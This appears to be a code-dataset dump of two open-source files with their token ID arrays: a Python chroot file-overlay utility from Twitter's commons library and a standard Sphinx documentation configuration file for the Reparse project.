0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
abel-von/commons
src/python/twitter/common/dirutil/chroot.py
14
6425
# ================================================================================================== # Copyright 2011 Twitter, Inc. # -------------------------------------------------------------------------------------------------- # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this work except in compliance with the License. # You may obtain a copy of the License in the LICENSE file, or at: # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ================================================================================================== __author__ = 'Alec Thomas, Brian Wickman' import contextlib import copy import errno import os import shutil import tempfile import zipfile from . import safe_mkdir class Chroot(object): """ A chroot of files overlayed from one directory to another directory. Files may be tagged when added in order to keep track of multiple overlays in the chroot. """ class ChrootException(Exception): pass class ChrootTaggingException(Exception): def __init__(self, filename, orig_tag, new_tag): Exception.__init__(self, "Trying to add %s to fileset(%s) but already in fileset(%s)!" % ( filename, new_tag, orig_tag)) def __init__(self, chroot_base, name=None): """ chroot_base = directory for the creation of the target chroot. name = if specified, create the chroot in a temporary directory underneath chroot_base with 'name' as the prefix, otherwise create the chroot directly into chroot_base """ self.root = None try: safe_mkdir(chroot_base) except: raise Chroot.ChrootException('Unable to create chroot in %s' % chroot_base) if name is not None: self.chroot = tempfile.mkdtemp(dir=chroot_base, prefix='%s.' % name) else: self.chroot = chroot_base self.filesets = {} def set_relative_root(self, root): """ Make all source paths relative to this root path. """ self.root = root def clone(self, into=None): into = into or tempfile.mkdtemp() new_chroot = Chroot(into) new_chroot.root = self.root for label, fileset in self.filesets.items(): for fn in fileset: new_chroot.link(os.path.join(self.chroot, self.root or '', fn), fn, label=label) return new_chroot def path(self): """The path of the chroot.""" return self.chroot def _check_tag(self, fn, label): for fs_label, fs in self.filesets.items(): if fn in fs and fs_label != label: raise Chroot.ChrootTaggingException(fn, fs_label, label) def _tag(self, fn, label): self._check_tag(fn, label) if label not in self.filesets: self.filesets[label] = set() self.filesets[label].add(fn) def _mkdir_for(self, path): dirname = os.path.dirname(os.path.join(self.chroot, path)) safe_mkdir(dirname) def _rootjoin(self, path): return os.path.join(self.root or '', path) def copy(self, src, dst, label=None): """ Copy file from {root}/source to {chroot}/dest with optional label. May raise anything shutil.copyfile can raise, e.g. IOError(Errno 21 'EISDIR') May raise ChrootTaggingException if dst is already in a fileset but with a different label. """ self._tag(dst, label) self._mkdir_for(dst) shutil.copyfile(self._rootjoin(src), os.path.join(self.chroot, dst)) def link(self, src, dst, label=None): """ Hard link file from {root}/source to {chroot}/dest with optional label. May raise anything os.link can raise, e.g. IOError(Errno 21 'EISDIR') May raise ChrootTaggingException if dst is already in a fileset but with a different label. """ self._tag(dst, label) self._mkdir_for(dst) abs_src = self._rootjoin(src) abs_dst = os.path.join(self.chroot, dst) try: os.link(abs_src, abs_dst) except OSError as e: if e.errno == errno.EEXIST: # File already exists, skip pass elif e.errno == errno.EXDEV: # Hard link across devices, fall back on copying shutil.copyfile(abs_src, abs_dst) else: raise def write(self, data, dst, label=None, mode='wb'): """ Write data to {chroot}/dest with optional label. Has similar exceptional cases as Chroot.copy """ self._tag(dst, label) self._mkdir_for(dst) with open(os.path.join(self.chroot, dst), mode) as wp: wp.write(data) def touch(self, dst, label=None): """ Perform 'touch' on {chroot}/dest with optional label. Has similar exceptional cases as Chroot.copy """ self.write('', dst, label, mode='a') def get(self, label): """Get all files labeled with 'label'""" return self.filesets.get(label, set()) def files(self): """Get all files in the chroot.""" all_files = set() for label in self.filesets: all_files.update(self.filesets[label]) return all_files def labels(self): return self.filesets.keys() def __str__(self): return 'Chroot(%s {fs:%s})' % (self.chroot, ' '.join('%s' % foo for foo in self.filesets.keys())) def delete(self): shutil.rmtree(self.chroot) def zip(self, filename, mode='wb'): with contextlib.closing(zipfile.ZipFile(filename, mode)) as zf: for f in sorted(self.files()): zf.write(os.path.join(self.chroot, f), arcname=f, compress_type=zipfile.ZIP_DEFLATED) class RelativeChroot(Chroot): """ A chroot of files overlayed from one directory to another directory, but with all source copies relative to a particular root directory. """ def __init__(self, root, chroot_base, name=None): """ root = source directory for files chroot_base = directory for the creation of the target chroot. name = if specified, create the chroot in a temporary directory underneath chroot_base with 'name' as the prefix, otherwise create the chroot directly into chroot_base """ Chroot.__init__(self, chroot_base, name) self.set_relative_root(root)
apache-2.0
[ 3, 7819, 2486, 29, 199, 3, 1898, 7760, 19259, 12, 3277, 14, 199, 3, 5620, 1444, 306, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 1736, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 315, 314, 5113, 570, 12, 503, 737, 26, 199, 3, 199, 3, 221, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 7819, 2486, 29, 199, 199, 363, 2502, 363, 275, 283, 33, 10251, 27864, 12, 699, 18429, 644, 2000, 1237, 7, 199, 199, 646, 15502, 199, 646, 1331, 199, 646, 7554, 199, 646, 747, 199, 646, 5145, 199, 646, 5549, 199, 646, 10392, 199, 199, 504, 1275, 492, 5048, 63, 8215, 421, 199, 533, 2799, 1231, 8, 785, 304, 523, 408, 272, 437, 32028, 402, 1584, 24393, 379, 687, 1373, 2082, 370, 4573, 2082, 14, 339, 16920, 1443, 506, 20018, 1380, 3483, 315, 1865, 370, 4215, 4426, 402, 3663, 1806, 9316, 315, 272, 314, 32028, 14, 523, 408, 523, 1021, 2799, 1231, 1726, 8, 1726, 304, 986, 819, 1021, 2799, 1231, 1931, 1540, 1726, 8, 1726, 304, 272, 347, 636, 826, 721, 277, 12, 1788, 12, 2306, 63, 1450, 12, 892, 63, 1450, 304, 489, 2186, 855, 826, 721, 277, 12, 267, 298, 27693, 370, 1050, 450, 83, 370, 570, 409, 4042, 83, 9, 1325, 2575, 315, 570, 409, 4042, 83, 9, 9539, 450, 334, 881, 1788, 12, 892, 63, 1450, 12, 2306, 63, 1450, 430, 819, 347, 636, 826, 721, 277, 12, 32028, 63, 1095, 12, 536, 29, 403, 304, 272, 408, 489, 32028, 63, 1095, 275, 2082, 367, 314, 7143, 402, 314, 1347, 32028, 14, 489, 536, 275, 340, 2013, 12, 1218, 314, 32028, 315, 282, 7937, 2082, 1334, 685, 1619, 267, 32028, 63, 1095, 543, 283, 354, 7, 465, 314, 2403, 12, 4257, 1218, 314, 32028, 5370, 267, 1901, 32028, 63, 1095, 272, 408, 272, 291, 14, 1231, 275, 488, 272, 862, 26, 489, 5048, 63, 8215, 8, 24769, 63, 1095, 9, 272, 871, 26, 489, 746, 2799, 1231, 14, 1049, 1231, 1726, 360, 6005, 370, 1218, 32028, 315, 450, 83, 7, 450, 32028, 63, 1095, 9, 272, 340, 536, 365, 440, 488, 26, 489, 291, 14, 24769, 275, 5549, 14, 11983, 8, 694, 29, 24769, 63, 1095, 12, 2403, 9569, 83, 3530, 450, 536, 9, 272, 587, 26, 489, 291, 14, 24769, 275, 32028, 63, 1095, 272, 291, 14, 493, 2193, 275, 1052, 819, 347, 663, 63, 6188, 63, 1231, 8, 277, 12, 1738, 304, 272, 408, 489, 4155, 1006, 1350, 3792, 3847, 370, 642, 1738, 931, 14, 272, 408, 272, 291, 14, 1231, 275, 1738, 819, 347, 7289, 8, 277, 12, 1901, 29, 403, 304, 272, 1901, 275, 1901, 503, 5549, 14, 11983, 342, 272, 892, 63, 24769, 275, 2799, 1231, 8, 9924, 9, 272, 892, 63, 24769, 14, 1231, 275, 291, 14, 1231, 272, 367, 1768, 12, 570, 409, 315, 291, 14, 493, 2193, 14, 1744, 837, 489, 367, 4325, 315, 570, 409, 26, 267, 892, 63, 24769, 14, 1073, 8, 736, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 291, 14, 1231, 503, 3260, 4325, 395, 717, 4325, 12, 1768, 29, 1302, 9, 272, 372, 892, 63, 24769, 819, 347, 931, 8, 277, 304, 272, 408, 1918, 931, 402, 314, 32028, 1041, 272, 372, 291, 14, 24769, 819, 347, 485, 1074, 63, 1450, 8, 277, 12, 4325, 12, 1768, 304, 272, 367, 7449, 63, 1302, 12, 7449, 315, 291, 14, 493, 2193, 14, 1744, 837, 489, 340, 4325, 315, 7449, 436, 7449, 63, 1302, 1137, 1768, 26, 267, 746, 2799, 1231, 14, 1049, 1231, 1931, 1540, 1726, 8, 2324, 12, 7449, 63, 1302, 12, 1768, 9, 819, 347, 485, 1450, 8, 277, 12, 4325, 12, 1768, 304, 272, 291, 423, 1074, 63, 1450, 8, 2324, 12, 1768, 9, 272, 340, 1768, 440, 315, 291, 14, 493, 2193, 26, 489, 291, 14, 493, 2193, 59, 1302, 61, 275, 663, 342, 272, 291, 14, 493, 2193, 59, 1302, 1055, 525, 8, 2324, 9, 819, 347, 485, 8215, 63, 509, 8, 277, 12, 931, 304, 272, 9017, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 931, 430, 272, 5048, 63, 8215, 8, 3475, 9, 819, 347, 485, 1231, 904, 8, 277, 12, 931, 304, 272, 372, 747, 14, 515, 14, 904, 8, 277, 14, 1231, 503, 3260, 931, 9, 819, 347, 1331, 8, 277, 12, 2928, 12, 5042, 12, 1768, 29, 403, 304, 272, 408, 489, 11247, 570, 687, 469, 1231, 5995, 1365, 370, 469, 24769, 5995, 2614, 543, 2716, 1768, 14, 2541, 10162, 746, 7003, 5145, 14, 21997, 883, 746, 12, 325, 14, 71, 14, 267, 5925, 8, 23288, 7829, 283, 37, 1311, 3022, 358, 2541, 10162, 746, 2799, 1231, 1931, 1540, 1726, 340, 5042, 365, 2575, 315, 282, 570, 409, 489, 1325, 543, 282, 3365, 1768, 14, 272, 408, 272, 291, 423, 1450, 8, 5119, 12, 1768, 9, 272, 291, 423, 8215, 63, 509, 8, 5119, 9, 272, 5145, 14, 21997, 8, 277, 423, 1231, 904, 8, 2164, 395, 747, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 5042, 430, 819, 347, 2142, 8, 277, 12, 2928, 12, 5042, 12, 1768, 29, 403, 304, 272, 408, 489, 22825, 2142, 570, 687, 469, 1231, 5995, 1365, 370, 469, 24769, 5995, 2614, 543, 2716, 1768, 14, 2541, 10162, 746, 7003, 747, 14, 1073, 883, 746, 12, 325, 14, 71, 14, 267, 5925, 8, 23288, 7829, 283, 37, 1311, 3022, 358, 2541, 10162, 746, 2799, 1231, 1931, 1540, 1726, 340, 5042, 365, 2575, 315, 282, 570, 409, 489, 1325, 543, 282, 3365, 1768, 14, 272, 408 ]
[ 7819, 2486, 29, 199, 3, 1898, 7760, 19259, 12, 3277, 14, 199, 3, 5620, 1444, 306, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 1736, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 315, 314, 5113, 570, 12, 503, 737, 26, 199, 3, 199, 3, 221, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 3, 7819, 2486, 29, 199, 199, 363, 2502, 363, 275, 283, 33, 10251, 27864, 12, 699, 18429, 644, 2000, 1237, 7, 199, 199, 646, 15502, 199, 646, 1331, 199, 646, 7554, 199, 646, 747, 199, 646, 5145, 199, 646, 5549, 199, 646, 10392, 199, 199, 504, 1275, 492, 5048, 63, 8215, 421, 199, 533, 2799, 1231, 8, 785, 304, 523, 408, 272, 437, 32028, 402, 1584, 24393, 379, 687, 1373, 2082, 370, 4573, 2082, 14, 339, 16920, 1443, 506, 20018, 1380, 3483, 315, 1865, 370, 4215, 4426, 402, 3663, 1806, 9316, 315, 272, 314, 32028, 14, 523, 408, 523, 1021, 2799, 1231, 1726, 8, 1726, 304, 986, 819, 1021, 2799, 1231, 1931, 1540, 1726, 8, 1726, 304, 272, 347, 636, 826, 721, 277, 12, 1788, 12, 2306, 63, 1450, 12, 892, 63, 1450, 304, 489, 2186, 855, 826, 721, 277, 12, 267, 298, 27693, 370, 1050, 450, 83, 370, 570, 409, 4042, 83, 9, 1325, 2575, 315, 570, 409, 4042, 83, 9, 9539, 450, 334, 881, 1788, 12, 892, 63, 1450, 12, 2306, 63, 1450, 430, 819, 347, 636, 826, 721, 277, 12, 32028, 63, 1095, 12, 536, 29, 403, 304, 272, 408, 489, 32028, 63, 1095, 275, 2082, 367, 314, 7143, 402, 314, 1347, 32028, 14, 489, 536, 275, 340, 2013, 12, 1218, 314, 32028, 315, 282, 7937, 2082, 1334, 685, 1619, 267, 32028, 63, 1095, 543, 283, 354, 7, 465, 314, 2403, 12, 4257, 1218, 314, 32028, 5370, 267, 1901, 32028, 63, 1095, 272, 408, 272, 291, 14, 1231, 275, 488, 272, 862, 26, 489, 5048, 63, 8215, 8, 24769, 63, 1095, 9, 272, 871, 26, 489, 746, 2799, 1231, 14, 1049, 1231, 1726, 360, 6005, 370, 1218, 32028, 315, 450, 83, 7, 450, 32028, 63, 1095, 9, 272, 340, 536, 365, 440, 488, 26, 489, 291, 14, 24769, 275, 5549, 14, 11983, 8, 694, 29, 24769, 63, 1095, 12, 2403, 9569, 83, 3530, 450, 536, 9, 272, 587, 26, 489, 291, 14, 24769, 275, 32028, 63, 1095, 272, 291, 14, 493, 2193, 275, 1052, 819, 347, 663, 63, 6188, 63, 1231, 8, 277, 12, 1738, 304, 272, 408, 489, 4155, 1006, 1350, 3792, 3847, 370, 642, 1738, 931, 14, 272, 408, 272, 291, 14, 1231, 275, 1738, 819, 347, 7289, 8, 277, 12, 1901, 29, 403, 304, 272, 1901, 275, 1901, 503, 5549, 14, 11983, 342, 272, 892, 63, 24769, 275, 2799, 1231, 8, 9924, 9, 272, 892, 63, 24769, 14, 1231, 275, 291, 14, 1231, 272, 367, 1768, 12, 570, 409, 315, 291, 14, 493, 2193, 14, 1744, 837, 489, 367, 4325, 315, 570, 409, 26, 267, 892, 63, 24769, 14, 1073, 8, 736, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 291, 14, 1231, 503, 3260, 4325, 395, 717, 4325, 12, 1768, 29, 1302, 9, 272, 372, 892, 63, 24769, 819, 347, 931, 8, 277, 304, 272, 408, 1918, 931, 402, 314, 32028, 1041, 272, 372, 291, 14, 24769, 819, 347, 485, 1074, 63, 1450, 8, 277, 12, 4325, 12, 1768, 304, 272, 367, 7449, 63, 1302, 12, 7449, 315, 291, 14, 493, 2193, 14, 1744, 837, 489, 340, 4325, 315, 7449, 436, 7449, 63, 1302, 1137, 1768, 26, 267, 746, 2799, 1231, 14, 1049, 1231, 1931, 1540, 1726, 8, 2324, 12, 7449, 63, 1302, 12, 1768, 9, 819, 347, 485, 1450, 8, 277, 12, 4325, 12, 1768, 304, 272, 291, 423, 1074, 63, 1450, 8, 2324, 12, 1768, 9, 272, 340, 1768, 440, 315, 291, 14, 493, 2193, 26, 489, 291, 14, 493, 2193, 59, 1302, 61, 275, 663, 342, 272, 291, 14, 493, 2193, 59, 1302, 1055, 525, 8, 2324, 9, 819, 347, 485, 8215, 63, 509, 8, 277, 12, 931, 304, 272, 9017, 275, 747, 14, 515, 14, 3475, 8, 736, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 931, 430, 272, 5048, 63, 8215, 8, 3475, 9, 819, 347, 485, 1231, 904, 8, 277, 12, 931, 304, 272, 372, 747, 14, 515, 14, 904, 8, 277, 14, 1231, 503, 3260, 931, 9, 819, 347, 1331, 8, 277, 12, 2928, 12, 5042, 12, 1768, 29, 403, 304, 272, 408, 489, 11247, 570, 687, 469, 1231, 5995, 1365, 370, 469, 24769, 5995, 2614, 543, 2716, 1768, 14, 2541, 10162, 746, 7003, 5145, 14, 21997, 883, 746, 12, 325, 14, 71, 14, 267, 5925, 8, 23288, 7829, 283, 37, 1311, 3022, 358, 2541, 10162, 746, 2799, 1231, 1931, 1540, 1726, 340, 5042, 365, 2575, 315, 282, 570, 409, 489, 1325, 543, 282, 3365, 1768, 14, 272, 408, 272, 291, 423, 1450, 8, 5119, 12, 1768, 9, 272, 291, 423, 8215, 63, 509, 8, 5119, 9, 272, 5145, 14, 21997, 8, 277, 423, 1231, 904, 8, 2164, 395, 747, 14, 515, 14, 904, 8, 277, 14, 24769, 12, 5042, 430, 819, 347, 2142, 8, 277, 12, 2928, 12, 5042, 12, 1768, 29, 403, 304, 272, 408, 489, 22825, 2142, 570, 687, 469, 1231, 5995, 1365, 370, 469, 24769, 5995, 2614, 543, 2716, 1768, 14, 2541, 10162, 746, 7003, 747, 14, 1073, 883, 746, 12, 325, 14, 71, 14, 267, 5925, 8, 23288, 7829, 283, 37, 1311, 3022, 358, 2541, 10162, 746, 2799, 1231, 1931, 1540, 1726, 340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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
andychase/reparse
doc/source/conf.py
1
7993
# -*- coding: utf-8 -*- # # Reparse documentation build configuration file, created by # sphinx-quickstart on Mon Aug 12 16:05:44 2013. # # This file is execfile()d with the current directory set to its containing dir. # # Note that not all possible configuration values are present in this # autogenerated file. # # All configuration values have a default; values that are commented out # serve to show the default. import sys import os # If extensions (or modules to document with autodoc) are in another directory, # add these directories to sys.path here. If the directory is relative to the # documentation root, use os.path.abspath to make it absolute, like shown here. sys.path.insert(0, os.path.abspath('../..')) # -- General configuration ----------------------------------------------------- # If your documentation needs a minimal Sphinx version, state it here. #needs_sphinx = '1.0' # Add any Sphinx extension module names here, as strings. They can be extensions # coming with Sphinx (named 'sphinx.ext.*') or your custom ones. extensions = ['sphinx.ext.autodoc'] # Add any paths that contain templates here, relative to this directory. templates_path = ['_templates'] # The suffix of source filenames. source_suffix = '.rst' # The encoding of source files. #source_encoding = 'utf-8-sig' # The master toctree document. master_doc = 'index' # General information about the project. project = u'Reparse' copyright = u'2013, Andy Chase' # The version info for the project you're documenting, acts as replacement for # |version| and |release|, also used in various other places throughout the # built documents. # # The short X.Y version. version = '3.0' # The full version, including alpha/beta/rc tags. release = '3.0' # The language for content autogenerated by Sphinx. Refer to documentation # for a list of supported languages. #language = None # There are two options for replacing |today|: either, you set today to some # non-false value, then it is used: #today = '' # Else, today_fmt is used as the format for a strftime call. #today_fmt = '%B %d, %Y' # List of patterns, relative to source directory, that match files and # directories to ignore when looking for source files. exclude_patterns = [] # The reST default role (used for this markup: `text`) to use for all documents. #default_role = None # If true, '()' will be appended to :func: etc. cross-reference text. #add_function_parentheses = True # If true, the current module name will be prepended to all description # unit titles (such as .. function::). #add_module_names = True # If true, sectionauthor and moduleauthor directives will be shown in the # output. They are ignored by default. #show_authors = False # The name of the Pygments (syntax highlighting) style to use. pygments_style = 'sphinx' # A list of ignored prefixes for module index sorting. #modindex_common_prefix = [] # If true, keep warnings as "system message" paragraphs in the built documents. #keep_warnings = False # -- Options for HTML output --------------------------------------------------- # The theme to use for HTML and HTML Help pages. See the documentation for # a list of builtin themes. html_theme = 'solar' html_theme_path = ["."] # Theme options are theme-specific and customize the look and feel of a theme # further. For a list of options available for each theme, see the # documentation. #html_theme_options = {} # Add any paths that contain custom themes here, relative to this directory. #html_theme_path = [] # The name for this set of Sphinx documents. If None, it defaults to # "<project> v<release> documentation". #html_title = None # A shorter title for the navigation bar. Default is the same as html_title. #html_short_title = None # The name of an image file (relative to this directory) to place at the top # of the sidebar. #html_logo = None # The name of an image file (within the static path) to use as favicon of the # docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 # pixels large. #html_favicon = None # Add any paths that contain custom static files (such as style sheets) here, # relative to this directory. They are copied after the builtin static files, # so a file named "default.css" will overwrite the builtin "default.css". html_static_path = ['static'] # If not '', a 'Last updated on:' timestamp is inserted at every page bottom, # using the given strftime format. #html_last_updated_fmt = '%b %d, %Y' # If true, SmartyPants will be used to convert quotes and dashes to # typographically correct entities. #html_use_smartypants = True # Custom sidebar templates, maps document names to template names. #html_sidebars = {} # Additional templates that should be rendered to pages, maps page names to # template names. #html_additional_pages = {} # If false, no module index is generated. html_domain_indices = False # If false, no index is generated. html_use_index = False # If true, the index is split into individual pages for each letter. #html_split_index = False # If true, links to the reST sources are added to the pages. html_show_sourcelink = False # If true, "Created using Sphinx" is shown in the HTML footer. Default is True. html_show_sphinx = False # If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. html_show_copyright = False # If true, an OpenSearch description file will be output, and all pages will # contain a <link> tag referring to it. The value of this option must be the # base URL from which the finished HTML is served. #html_use_opensearch = '' # This is the file name suffix for HTML files (e.g. ".xhtml"). #html_file_suffix = None # Output file base name for HTML help builder. htmlhelp_basename = 'Reparsedoc' # -- Options for LaTeX output -------------------------------------------------- latex_elements = { # The paper size ('letterpaper' or 'a4paper'). #'papersize': 'letterpaper', # The font size ('10pt', '11pt' or '12pt'). #'pointsize': '10pt', # Additional stuff for the LaTeX preamble. #'preamble': '', } # Grouping the document tree into LaTeX files. List of tuples # (source start file, target name, title, author, documentclass [howto/manual]). latex_documents = [ ('index', 'Reparse.tex', u'Reparse Documentation', u'Andy Chase', 'manual'), ] # The name of an image file (relative to this directory) to place at the top of # the title page. #latex_logo = None # For "manual" documents, if this is true, then toplevel headings are parts, # not chapters. #latex_use_parts = False # If true, show page references after internal links. #latex_show_pagerefs = False # If true, show URL addresses after external links. #latex_show_urls = False # Documents to append as an appendix to all manuals. #latex_appendices = [] # If false, no module index is generated. #latex_domain_indices = True # -- Options for manual page output -------------------------------------------- # One entry per manual page. List of tuples # (source start file, name, description, authors, manual section). man_pages = [ ('index', 'reparse', u'Reparse Documentation', [u'Andy Chase'], 1) ] # If true, show URL addresses after external links. #man_show_urls = False # -- Options for Texinfo output ------------------------------------------------ # Grouping the document tree into Texinfo files. List of tuples # (source start file, target name, title, author, # dir menu entry, description, category) texinfo_documents = [ ('index', 'Reparse', u'Reparse Documentation', u'Andy Chase', 'Reparse', 'One line description of project.', 'Miscellaneous'), ] # Documents to append as an appendix to all manuals. #texinfo_appendices = [] # If false, no module index is generated. #texinfo_domain_indices = True # How to display URL addresses: 'footnote', 'no', or 'inline'. #texinfo_show_urls = 'footnote' # If true, do not generate a @detailmenu in the "Top" node's menu. #texinfo_no_detailmenu = False
mit
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 199, 3, 799, 1122, 3794, 1900, 2897, 570, 12, 2737, 701, 199, 3, 15882, 13, 28957, 641, 10953, 25298, 3144, 3193, 26, 1717, 26, 1602, 6171, 14, 199, 3, 199, 3, 961, 570, 365, 22711, 342, 68, 543, 314, 1453, 2082, 663, 370, 2399, 3035, 2935, 14, 199, 3, 199, 3, 3390, 626, 440, 1006, 3962, 2897, 1338, 787, 3451, 315, 642, 199, 3, 18392, 570, 14, 199, 3, 199, 3, 2900, 2897, 1338, 1172, 282, 849, 27, 1338, 626, 787, 21804, 734, 199, 3, 14062, 370, 2498, 314, 849, 14, 199, 199, 646, 984, 199, 646, 747, 199, 199, 3, 982, 5478, 334, 269, 4621, 370, 2213, 543, 29973, 9, 787, 315, 4573, 2082, 12, 199, 3, 1050, 3520, 6602, 370, 984, 14, 515, 2348, 14, 982, 314, 2082, 365, 3847, 370, 314, 199, 3, 3794, 1738, 12, 675, 747, 14, 515, 14, 4832, 370, 1852, 652, 3679, 12, 2839, 9164, 2348, 14, 199, 1274, 14, 515, 14, 3176, 8, 16, 12, 747, 14, 515, 14, 4832, 24592, 703, 1333, 199, 199, 3, 1553, 1696, 2897, 9527, 9858, 199, 199, 3, 982, 2195, 3794, 4839, 282, 13460, 10229, 1015, 12, 1174, 652, 2348, 14, 199, 3, 10065, 63, 8008, 275, 283, 17, 14, 16, 7, 199, 199, 3, 2654, 1263, 10229, 3329, 859, 1561, 2348, 12, 465, 3326, 14, 9322, 883, 506, 5478, 199, 3, 17262, 543, 10229, 334, 4579, 283, 8008, 14, 832, 24915, 503, 2195, 3537, 7869, 14, 199, 5359, 275, 788, 8008, 14, 832, 14, 28056, 418, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 7009, 2348, 12, 3847, 370, 642, 2082, 14, 199, 5876, 63, 515, 275, 4044, 5876, 418, 199, 199, 3, 710, 4739, 402, 1350, 6203, 14, 199, 1365, 63, 4511, 275, 1987, 8332, 7, 199, 199, 3, 710, 2644, 402, 1350, 1584, 14, 199, 3, 1365, 63, 2991, 275, 283, 1624, 13, 24, 13, 4093, 7, 199, 199, 3, 710, 5288, 28310, 2213, 14, 199, 4133, 63, 1301, 275, 283, 1080, 7, 199, 199, 3, 1696, 2556, 3595, 314, 2199, 14, 199, 1715, 275, 399, 7, 497, 1122, 7, 199, 7307, 275, 399, 7, 6965, 12, 6061, 89, 2799, 482, 7, 199, 199, 3, 710, 1015, 2256, 367, 314, 2199, 1265, 3984, 29904, 12, 17795, 465, 8343, 367, 199, 3, 1204, 1023, 92, 436, 1204, 3221, 18712, 2597, 1202, 315, 7750, 1163, 9825, 23088, 314, 199, 3, 6137, 8247, 14, 199, 3, 199, 3, 710, 3974, 1323, 14, 57, 1015, 14, 199, 1023, 275, 283, 19, 14, 16, 7, 199, 3, 710, 2615, 1015, 12, 5893, 5131, 15, 5683, 15, 1195, 3762, 14, 199, 3221, 275, 283, 19, 14, 16, 7, 199, 199, 3, 710, 2637, 367, 1564, 18392, 701, 10229, 14, 21751, 370, 3794, 199, 3, 367, 282, 769, 402, 3748, 10815, 14, 199, 3, 3671, 275, 488, 199, 199, 3, 6006, 787, 2877, 1511, 367, 15810, 1204, 8136, 25004, 1902, 12, 1265, 663, 11168, 370, 2005, 199, 3, 2222, 13, 3910, 574, 12, 2066, 652, 365, 1202, 26, 199, 3, 8136, 275, 2125, 199, 3, 19524, 12, 11168, 63, 5045, 365, 1202, 465, 314, 1475, 367, 282, 14053, 1240, 14, 199, 3, 8136, 63, 5045, 275, 1543, 34, 450, 68, 12, 450, 57, 7, 199, 199, 3, 3820, 402, 7970, 12, 3847, 370, 1350, 2082, 12, 626, 1336, 1584, 436, 199, 3, 6602, 370, 3686, 1380, 10023, 367, 1350, 1584, 14, 199, 5473, 63, 7435, 275, 942, 199, 199, 3, 710, 20883, 849, 4719, 334, 2972, 367, 642, 9189, 26, 658, 505, 10522, 370, 675, 367, 1006, 8247, 14, 199, 3, 885, 63, 3756, 275, 488, 199, 199, 3, 982, 2549, 12, 26380, 911, 506, 11544, 370, 520, 1532, 26, 5423, 14, 8059, 13, 4443, 1318, 14, 199, 3, 525, 63, 1593, 63, 25510, 275, 715, 199, 199, 3, 982, 2549, 12, 314, 1453, 859, 536, 911, 506, 20247, 370, 1006, 1369, 199, 3, 4137, 16194, 334, 10180, 465, 2508, 805, 32469, 199, 3, 525, 63, 578, 63, 1247, 275, 715, 199, 199, 3, 982, 2549, 12, 3420, 2502, 436, 28966, 13502, 911, 506, 9164, 315, 314, 199, 3, 1072, 14, 9322, 787, 5525, 701, 849, 14, 199, 3, 2384, 63, 8149, 275, 756, 199, 199, 3, 710, 536, 402, 314, 14493, 334, 7093, 22437, 9, 3449, 370, 675, 14, 199, 12173, 63, 2487, 275, 283, 8008, 7, 199, 199, 3, 437, 769, 402, 5525, 13158, 367, 859, 1478, 13351, 14, 199, 3, 27555, 63, 2330, 63, 1861, 275, 942, 199, 199, 3, 982, 2549, 12, 4215, 3598, 465, 298, 2253, 1245, 2, 26603, 315, 314, 6137, 8247, 14, 199, 3, 3250, 63, 5451, 275, 756, 421, 199, 3, 1553, 8394, 367, 4163, 1072, 9527, 2595, 199, 199, 3, 710, 8879, 370, 675, 367, 4163, 436, 4163, 15456, 6497, 14, 221, 1666, 314, 3794, 367, 199, 3, 282, 769, 402, 6762, 17915, 14, 199, 1360, 63, 7915, 275, 283, 7873, 285, 7, 199, 1360, 63, 7915, 63, 515, 275, 359, 1674, 937, 199, 199, 3, 23978, 1511, 787, 8879, 13, 6100, 436, 17551, 314, 3648, 436, 23109, 402, 282, 8879, 199, 3, 9848, 14, 221, 2104, 282, 769, 402, 1511, 2808, 367, 1924, 8879, 12, 1937, 314, 199, 3, 3794, 14, 199, 3, 1360, 63, 7915, 63, 1419, 275, 1052, 199, 199, 3, 2654, 1263, 3792, 626, 1395, 3537, 17915, 2348, 12, 3847, 370, 642, 2082, 14, 199, 3, 1360, 63, 7915, 63, 515, 275, 942, 199, 199, 3, 710, 536, 367, 642, 663, 402, 10229, 8247, 14, 221, 982, 488, 12, 652, 4243, 370, 199, 